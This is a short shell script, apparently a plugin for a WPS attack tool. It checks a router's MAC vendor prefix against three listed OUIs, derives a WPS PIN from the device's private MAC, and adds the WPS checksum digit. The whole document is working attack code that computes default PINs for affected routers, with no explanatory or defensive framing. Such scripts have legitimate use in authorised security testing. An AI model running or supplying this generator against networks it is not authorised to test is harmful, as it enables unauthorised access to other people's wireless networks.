#!/bin/sh

cd $(dirname $(readlink -f $0))
. ./plugin_core
parse_plugin_args "$@"

if ! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B; then
  echo "VENDOR MAC $VENDOR_MAC not affected" 
  exit 1
fi

calc_belkin(){
  PRIVATE_MAC=${1}
  p=$((0x$PRIVATE_MAC % 10000000))
    wps_pin_checksum(){
      pin=$1
      accum=0
      while [ $pin -ne 0 ];do
        accum=$((accum + (3 * (pin % 10)) ))
        pin=$((pin/10))
        accum=$((accum + pin %10 ))
        pin=$((pin/10))
      done
      echo $(( (10 - accum % 10) % 10))
    }
  printf "%07d%d" $p $(wps_pin_checksum $p)
  return 0
}

printf "WPS-PIN: %s" $(calc_belkin ${PRIVATE_MAC})